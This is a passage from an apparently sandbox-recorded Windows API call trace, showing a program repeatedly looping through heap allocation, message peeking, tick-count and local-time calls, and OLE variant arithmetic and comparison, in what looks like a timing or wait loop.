[0180.769] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.769] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.769] CoFreeUnusedLibraries () [0180.769] GetTickCount () returned 0x115dda3 [0180.769] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.769] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.769] GetTickCount () returned 0x115dda3 [0180.769] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.769] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.769] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.769] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.769] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.769] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.769] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.769] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.770] CoFreeUnusedLibraries () [0180.770] GetTickCount () returned 0x115dda3 [0180.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.770] GetTickCount () returned 0x115dda3 [0180.770] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.770] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.770] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.770] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.770] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.770] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.770] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.770] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.770] CoFreeUnusedLibraries () [0180.770] GetTickCount () returned 0x115dda3 [0180.771] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.771] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.771] GetTickCount () returned 0x115dda3 [0180.771] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.771] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.771] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.771] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.771] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.771] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.771] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.771] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.771] CoFreeUnusedLibraries () [0180.771] GetTickCount () returned 0x115dda3 [0180.771] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.771] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.771] GetTickCount () returned 0x115dda3 [0180.772] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.772] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.772] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.772] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.772] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.772] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.772] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.772] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.772] CoFreeUnusedLibraries () [0180.772] GetTickCount () returned 0x115dda3 [0180.772] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.772] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.772] GetTickCount () returned 0x115dda3 [0180.772] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.772] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.772] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.773] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.773] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.773] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.773] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.773] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.773] CoFreeUnusedLibraries () [0180.773] GetTickCount () returned 0x115dda3 [0180.773] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.773] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.773] GetTickCount () returned 0x115dda3 [0180.773] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.773] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.773] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.773] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.773] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.774] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.774] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.774] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.774] CoFreeUnusedLibraries () [0180.774] GetTickCount () returned 0x115dda3 [0180.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.774] GetTickCount () returned 0x115dda3 [0180.774] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.774] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.774] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.774] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.774] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.774] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.774] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.774] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.775] CoFreeUnusedLibraries () [0180.775] GetTickCount () returned 0x115dda3 [0180.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.775] GetTickCount () returned 0x115dda3 [0180.775] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.775] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.775] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.775] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.775] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.775] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.775] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.775] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.775] CoFreeUnusedLibraries () [0180.775] GetTickCount () returned 0x115dda3 [0180.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.776] CoFreeUnusedLibraries () [0180.776] GetTickCount () returned 0x115dda3 [0180.776] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.776] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.776] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.776] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.776] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.776] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.776] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.776] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.776] CoFreeUnusedLibraries () [0180.776] GetTickCount () returned 0x115dda3 [0180.776] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.776] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.777] CoFreeUnusedLibraries () [0180.777] GetTickCount () returned 0x115dda3 [0180.777] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.777] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.777] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.777] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.777] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.777] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.777] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.777] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.777] CoFreeUnusedLibraries () [0180.777] GetTickCount () returned 0x115dda3 [0180.777] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.777] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.777] CoFreeUnusedLibraries () [0180.777] GetTickCount () returned 0x115dda3 [0180.778] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.778] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.778] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.778] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.778] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.778] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.778] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.778] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.778] CoFreeUnusedLibraries () [0180.778] GetTickCount () returned 0x115dda3 [0180.778] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.778] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.778] CoFreeUnusedLibraries () [0180.778] GetTickCount () returned 0x115dda3 [0180.779] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.779] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.779] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.779] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.779] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.779] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.779] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.779] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.779] CoFreeUnusedLibraries () [0180.779] GetTickCount () returned 0x115dda3 [0180.779] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.779] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.779] CoFreeUnusedLibraries () [0180.779] GetTickCount () returned 0x115dda3 [0180.779] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.780] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.780] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.780] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.780] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.780] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.780] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.780] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.780] CoFreeUnusedLibraries () [0180.780] GetTickCount () returned 0x115dda3 [0180.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.780] CoFreeUnusedLibraries () [0180.780] GetTickCount () returned 0x115dda3 [0180.780] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.780] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.781] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.781] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.781] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.781] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.781] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.781] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.781] CoFreeUnusedLibraries () [0180.781] GetTickCount () returned 0x115dda3 [0180.781] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.781] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.781] CoFreeUnusedLibraries () [0180.781] GetTickCount () returned 0x115dda3 [0180.781] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.781] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.781] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.782] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.782] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.782] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.782] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.782] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.782] CoFreeUnusedLibraries () [0180.782] GetTickCount () returned 0x115ddb2 [0180.782] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.782] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.782] CoFreeUnusedLibraries () [0180.782] GetTickCount () returned 0x115ddb2 [0180.782] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.782] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.782] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.782] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.782] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.783] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.783] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.783] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.783] CoFreeUnusedLibraries () [0180.783] GetTickCount () returned 0x115ddb2 [0180.783] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.783] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.783] CoFreeUnusedLibraries () [0180.783] GetTickCount () returned 0x115ddb2 [0180.783] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x27f)) [0180.783] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.783] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.783] VarSub (in: 